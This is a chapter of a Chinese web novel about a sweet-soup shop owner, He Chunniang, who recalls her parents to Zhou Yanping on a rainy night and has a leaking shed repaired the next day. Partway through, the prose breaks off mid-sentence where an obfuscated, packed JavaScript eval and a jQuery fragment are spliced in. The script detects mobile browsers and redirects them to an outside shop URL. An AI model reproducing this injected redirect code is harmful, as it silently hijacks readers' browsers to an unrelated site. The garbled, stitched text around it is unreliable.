小屋不大，黑暗里，两个人的呼吸都比平日明显。
何春酿闭着眼，没睡着。
她知道周砚平也没睡着。
因为他翻身时很慢，像怕褥子响。过了一会儿，他又轻轻把薄被往上拉了拉。
那点声音落在夜里，反而越发清楚。
何春酿忍了一阵，终于开口：“你别不敢动。”
周砚平低声道：“吵着你了？”
“嗯。”何春酿翻了个身，面朝里，“窸窸窣窣，听得我心烦”。
地铺那边安静了，周砚平轻声道：“那我不动了。”
何春酿闭着眼，听他这话说得一本正经，反倒更睡不着。
“不是不让你动。”她把被子往肩上拉了拉，“你是睡觉，又不是坐堂审案。该翻身就翻身，别弄得我像欺负你。”
周砚平没忍住，低低笑了一声，隔着帐子，落到雨声里，很快就散了。
何春酿听见了，她看着帐子里面一点模糊的暗影，过了会儿，自己也觉得有些好笑。
“你笑什么？”她问。
“没什么。”周砚平道，“就是觉得，何掌柜连让人睡觉，都像在管铺子。”
何春酿哼了一声：“铺子里的人事物钱，都归我管。”
这话说完，她觉得耳朵有点烫，自己反倒安静了。
雨还在下，屋檐上时密时疏。小杂屋那边的水声隔着后院传来，不大，像有人在夜里慢慢数钱。
周砚平突然问道：“你小时候，也住在这间屋里？”
何春酿没想到他会问这个。
她躺着没动，声音比刚才低了些：“不是。那时候我爹娘还在，后头那间大一点的屋子是他们住，我睡隔壁小间。后来我爹没了，我娘搬到这屋，我也跟着搬过来。再后来……”
她停了一下。
何春酿把手放在被面上，指尖捏着被角，慢慢道：“再后来我娘也没了，这屋就成我的了。”
周砚平的声音低了一些：“你爹走得很早吗？”
“嗯。我那时候还小。”何春酿想了想，“他身子一直不好，家里常年有药味。崇安堂那时候还不是马掌柜当家，是一位年纪很大的老掌柜，隔三差五就差人送药来。药一熬，满屋子都是苦味。我小时候不爱闻，老躲到门口去。”
她说到这里，像是想起什么，嘴角轻轻动了一下。
“我娘就会熬一点甜水，给我爹喝完药以后压苦味。秋天用梨，夏天用绿豆，冬天就煮姜枣。”
周砚平安静听着，没有插话。
何春酿继续道：“我爹喝药很慢，一碗药能喝半天。我娘也不催他，就坐在旁边，手里拿着那只小碗甜水。等他喝完了，她才把甜水递过去。我爹有时候嫌药苦，皱着脸，我娘就笑他，说一个大男人，喝药还要人哄。”
她说着，自己也笑了起来，“我爹就说，不是怕药苦，是怕喝的太快，娘就不坐在边上陪他了。”
何春酿原本以为自己早就不怎么记得父亲了，可有些话一说出口，才发现她记得很清楚。
周砚平轻声道：“你娘和你爹感情很好。”
“当然好。”何春酿答得很快，“我爹身体不好，帮不了家里什么忙，我娘也没嫌过。他能坐在门口晒晒太阳，她就高兴。他胃口好一点，多喝半碗粥，她也高兴。”
她翻了个身，仍旧背着帐外，“后来我爹没了，我娘就把那几样甜水继续做。先是街坊来买，说沈娘子煮的东西清爽，喝着舒服。慢慢的，我娘就开了这家铺子。”
“所以你才一直守着它。”周砚平道。
何春酿没有立刻答。
雨声大了一阵，又小下去。
“也不全是守着。”她说，“一开始是没别的路。我娘一个女人，带着我，总得吃饭。开铺子辛苦，可至少门开着，就有指望。后来做久了，我才觉得，这铺子不只是给人喝一碗甜水，也像是我爹娘留给我的一点念想。”
她抬手碰了碰床帐，像是在摸一块旧布，“她写在本子上的字还在。她试过的方子还在。街坊有人一进门，就说从前你娘也是这么煮的。那时候我就觉得，人走了，也不是一点都没留下。”
周砚平躺在地铺上，很久没说话。
何春酿忽然有些不自在，轻声道：“你别觉得我说这些晦气。半夜下雨，本来就容易想旧事。”
“不是晦气。”周砚平道，“我只是觉得，你开这个铺子，比我原先想的重。”
何春酿笑了一下：“重什么？白日里不还是一碗两文、三文地卖。”
周砚平认真道：“就是因为一碗两文、三文，你还能守到现在，这份心思才贵重。”
何春酿听了，心里慢慢安下来，“你呢？你小时候，有人给你熬过甜水吗？”
周砚平似乎没想到她会问回来，他停了停，才说：“家里有吃的就不错。甜的东西，小时候吃得不多。”
何春酿在帐子里皱了皱眉，“难怪你嘴淡。”
周砚平轻轻笑了声：“这也能怪到小时候？”
“当然能。”何春酿道，“人小时候没吃够什么，长大就容易不认得好东西。”
周砚平没说话。
何春酿说完，也觉得这话有些重了。她在帐子里侧过头，想了想，又补了一句：“没关系。以后我新做什么，不管好不好吃，都先让你尝一口。”
周砚平笑道：“那我占便宜了。”
“你想得美。”何春酿说，“试坏的也给你。甜的、咸的、糊的，苦的都得吃。”
“成。”
他答得太快，何春酿忍不住笑了一下。
笑完以后，两个人都没有马上再说话。
雨慢慢小了。
屋里还是黑的，地铺和床帐隔着几步远。何春酿听见周砚平的呼吸比方才平稳了些，她自己也觉得眼皮沉了。
快睡着时，她忽然又低声道：“周砚平。”
“嗯？”
何春酿闭着眼，“明日别忘了，盯着丁瓦匠，别再让他糊弄过去。”
“我记下了，睡吧。”周砚平的声音越来越低。
“好。”
这回，两个人都没再说话。
外头还在滴水，只是不像先前那么急了。何春酿在雨声里慢慢睡过去，心里最后一点念头很轻——
她娘留下来的铺子，好像终于不只是她一个人在守了。
第二日何春酿醒得不算早。
她睁眼的时候，外头雨已经停了，屋檐还在滴水，一下一下，像昨夜没说完的话。
床帐里闷了一点，她坐起来，先侧耳听了听屋里动静。
确定周砚平不在屋里，她才拉开床帐。
地铺已经收了，旧褥子叠得整整齐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646509|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
齐，薄被也放回原处。
她穿好衣裳出去，前铺门板已经开了一半。周砚平正在门口擦木槛，见她出来，手上停了一下，“时辰还早，你要不要再回去睡一会？”
何春酿嗯了一声，看了看天，又看了看他，“你什么时候起来的？”
“鸡叫第一遍。”周砚平诚实道。
“不是叫你别起太早？”
周砚平把抹布拧干：“我习惯早起，躺着也没事做。小杂屋我去看过了，还行，漏洞不算大。”
何春酿原本还想说他两句，听见这话，便把话咽了回去，“丁瓦匠呢？”
“我刚让阿棠去叫了，他正好顺路。”
何春酿看他一眼：“你倒安排得快。”
周砚平低头继续擦木槛：“怕何掌柜一会儿亲自去叫，丁瓦匠更害怕。”
丁瓦匠是半个时辰后来的。
他一进门，先没敢说笑，背着工具袋站在后院门口，看了看小杂屋，又看了看何春酿，“昨夜真漏了？”
何春酿拽着他去看小杂屋。
丁瓦匠摸了摸鼻子：“这……主檐没漏吧？”
“主檐没漏。”何春酿道，“所以尾钱照给你，小杂屋这边另算。”
丁瓦匠原本已经准备好挨骂，听见这句，反倒愣了一下。
周砚平把昨夜漏的位置指给他看：“雨斜着打进来，应该是这几片旧瓦松了，墙边木条也要看。”
丁瓦匠爬上去看了一会儿，下来时脸上有点挂不住。
“这处是我昨日没瞧细，按理说不在主檐那笔里，可屋子连着屋子，我也不能说全不关我的事。这样，补这边收八十文，少二十。”
何春酿正在洗手，听见这话，抬头看他。
丁瓦匠以为她嫌贵，忙道：“何掌柜，真不能再少了。换瓦、补木条、搭油毡，都要工夫。”
“我没说你贵。”何春酿把手擦干，“一码归一码。昨日修主檐，你修好了，尾钱照给。今日修小杂屋，该多少是多少。你少二十文，是你自己不好意思。可你若真少收了，回头又想着何记占你便宜，这活做得心里不舒服。”
丁瓦匠张了张嘴，没接上话。
何春酿从钱匣里数出尾钱，又另数了八十文，分成两串放在柜台上，“钱先放这儿。修好了你就拿走。两日内再漏，照旧回来补。”
丁瓦匠看着那两串钱，脸上有点讪讪的，“何掌柜，你这人说话直，办事倒清楚。”
何春酿没应这句，转身从壶里舀了一碗甘草凉水，放到后院小凳上，“天热，上屋顶之前别空着肚子。”
丁瓦匠这回没贫嘴，端起来喝了半碗。
何春酿回到灶边，把昨夜泡好的绿豆捞出来，准备再试一回昨日没成的绿豆桂花小食。
锅里的水刚开，白气慢慢冒上来。
后院有瓦片被揭开的声音，前铺有罗娘子带着小满进门的脚步声，何春酿用木勺搅了搅锅底，听见周砚平在后院同丁瓦匠说话，“不着急，把瓦片压紧些。何记屋小，经不起再漏了。”
她没回头，只把火往小里压了一点。
日子就是这样。
昨夜漏水，今早修瓦。昨夜说旧事，今早还要开门做买卖。
伤心也好，心软也好，都不能耽误锅里甜水。
可何春酿心里知道，有些东西还是不一样了。